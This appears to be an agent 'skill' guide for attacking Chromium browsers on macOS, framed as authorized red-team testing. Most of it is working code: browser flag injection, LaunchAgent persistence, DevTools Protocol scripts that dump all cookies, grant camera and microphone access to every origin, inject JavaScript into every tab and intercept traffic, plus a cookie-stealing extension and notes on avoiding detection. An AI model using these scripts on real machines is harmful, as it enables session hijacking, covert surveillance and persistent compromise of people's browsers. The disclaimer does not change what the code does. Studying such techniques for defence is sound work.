macOS Chromium Injection Testing
A security testing skill for authorized assessment of Chromium-based browsers on macOS. This skill covers browser flag manipulation, DevTools Protocol abuse, and extension-based injection techniques.
⚠️ Authorization Required
Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized use may violate computer crime laws.
When to Use This Skill
- Security assessments of macOS systems with Chromium browsers
- Red teaming exercises involving browser-based attacks
- Testing browser hardening configurations
- Evaluating endpoint detection capabilities
- Training on browser security concepts
Core Concepts
Chromium-based browsers (Chrome, Edge, Brave, Arc, Vivaldi, Opera) share:
- Command-line switches and preference files
- DevTools automation interfaces (CDP)
- Extension APIs and debugging capabilities
On macOS, any user with GUI access can:
- Force-quit an existing browser session
- Relaunch with arbitrary flags/extensions
- Expose DevTools Protocol endpoints
- Run with the target's user entitlements
Technique 1: Browser Flag Injection
Launching with Custom Flags
# Force quit existing Chrome instance
osascript -e 'tell application "Google Chrome" to quit'
# Relaunch with instrumentation flags
open -na "Google Chrome" --args \
--user-data-dir="$TMPDIR/chrome-test" \
--remote-debugging-port=9222 \
--load-extension="/path/to/extension" \
--disable-extensions-except="/path/to/extension"
Key Flags
| Flag | Purpose | Security Impact |
|---|---|---|
--user-data-dir |
Redirect profile to custom path | Bypasses App-Bound Encryption on Chrome 136+ |
--remote-debugging-port |
Expose CDP over TCP | Enables remote browser control |
--load-extension |
Auto-load unpacked extensions | Bypasses extension installation prompts |
--disable-extensions-except |
Block all other extensions | Ensures only payload runs |
--use-fake-ui-for-media-stream |
Skip camera/mic prompts | Bypasses TCC permission checks |
--auto-select-desktop-capture-source |
Auto-select screen capture | Enables silent screen sharing |
Persistence via LaunchAgent
<!-- ~/Library/LaunchAgents/com.chrome.instrumented.plist -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.chrome.instrumented</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/open</string>
<string>-na</string>
<string>Google Chrome</string>
<string>--args</string>
<string>--user-data-dir=/tmp/chrome-test</string>
<string>--remote-debugging-port=9222</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Technique 2: Chrome DevTools Protocol (CDP) Abuse
CDP Capabilities
Once --remote-debugging-port is active, you can:
- Extract cookies and sessions (including HttpOnly)
- Grant permissions (camera, mic, geolocation)
- Inject JavaScript into active tabs
- Intercept network traffic in real-time
- Modify DOM and page behavior
Cookie Extraction via CDP
// scripts/extract-cookies.js
import CDP from 'chrome-remote-interface';
(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Network} = client;
await Network.enable();
const {cookies} = await Network.getAllCookies();
console.log('Extracted cookies:');
cookies.forEach(c => {
console.log(` ${c.domain}:${c.name} = ${c.value}`);
});
await client.close();
})();
Permission Granting
// scripts/grant-permissions.js
import CDP from 'chrome-remote-interface';
(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Browser} = client;
// Grant camera, microphone, and geolocation
await Browser.grantPermissions({
origin: '*',
permissions: ['camera', 'microphone', 'geolocation']
});
await client.close();
})();
JavaScript Injection
// scripts/inject-script.js
import CDP from 'chrome-remote-interface';
(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Runtime, Target} = client;
// Get all targets (tabs)
const {targetInfos} = await Target.getTargets();
for (const target of targetInfos) {
if (target.type === 'page') {
const session = await Target.attachToTarget({targetId: target.targetId});
const {result} = await session.send('Runtime.evaluate', {
expression: 'document.cookie + "|" + window.location.href'
});
console.log(`${target.url}: ${result.result.value}`);
await session.detachFromTarget();
}
}
await client.close();
})();
Technique 3: Extension-Based Injection
Debugger API Extension
Create a minimal extension that uses chrome.debugger API:
// extension/manifest.json
{
"manifest_version": 3,
"name": "Debugger Extension",
"version": "1.0",
"permissions": ["debugger", "tabs", "cookies"],
"background": {
"service_worker": "background.js"
}
}
// extension/background.js
chrome.tabs.onUpdated.addListener((tabId, info) => {
if (info.status !== 'complete') return;
chrome.debugger.attach({tabId}, '1.3', () => {
// Enable network monitoring
chrome.debugger.sendCommand({tabId}, 'Network.enable');
// Extract cookies
chrome.debugger.sendCommand({tabId}, 'Network.getAllCookies', {}, (res) => {
console.log('Cookies:', res.cookies);
// Exfiltrate or process cookies here
});
// Listen for debugger events
chrome.debugger.onEvent.addListener((source, method, params) => {
if (method === 'Debugger.paused') {
console.log('Debugger paused:', params);
}
});
});
});
Loading the Extension
# Launch Chrome with the extension pre-loaded
open -na "Google Chrome" --args \
--user-data-dir="$TMPDIR/chrome-test" \
--load-extension="/path/to/extension" \
--disable-extensions-except="/path/to/extension"
Technique 4: Network Traffic Interception
Using CDP Fetch API
// scripts/intercept-traffic.js
import CDP from 'chrome-remote-interface';
(async () => {
const client = await CDP({host: '127.0.0.1', port: 9222});
const {Fetch, Network} = client;
await Fetch.enable({patterns: [{urlPattern: '*'}]});
Fetch.requestPaused.addEventListener((event) => {
console.log(`Request: ${event.request.url}`);
console.log(`Headers:`, event.request.headers);
// Continue request
Fetch.continueRequest({requestId: event.requestId});
});
await new Promise(() => {}); // Keep running
})();
Chrome 136+ Considerations
Starting with Chrome 136 (March 2025):
--remote-debugging-portis ignored for the default profile- You must use
--user-data-dirwith a non-standard path - App-Bound Encryption protects the real profile
- Attackers must coerce authentication into the instrumented profile
Workaround for Testing
# Create isolated profile for testing
mkdir -p "$TMPDIR/chrome-test"
# Launch with new profile
open -na "Google Chrome" --args \
--user-data-dir="$TMPDIR/chrome-test" \
--remote-debugging-port=9222
Detection Evasion Considerations
What Gets Logged
- Process creation events (launchd, auditd)
- Network connections to CDP port
- Extension installation (if not using
--load-extension) - File access to user-data-dir
What Doesn't Get Logged
- CDP commands executed in-memory
- Cookie extraction via CDP (no filesystem access)
- Permission grants via CDP
- JavaScript injection via Runtime.evaluate
Testing Checklist
- Verify authorization for target system
- Document baseline browser configuration
- Test flag injection on isolated system first
- Verify CDP port is accessible
- Test cookie extraction on test accounts
- Document all findings
- Clean up test artifacts
References
- Chrome DevTools Protocol
- Chrome Remote Interface
- Chromium Command Line Switches
- Chrome Security Blog - Remote Debugging
Related Tools
snoop- Automates Chromium launches with payload extensionsVOODOO- Traffic interception and browser instrumentationpuppeteer- High-level CDP wrapper for automationplaywright- Cross-browser automation with CDP support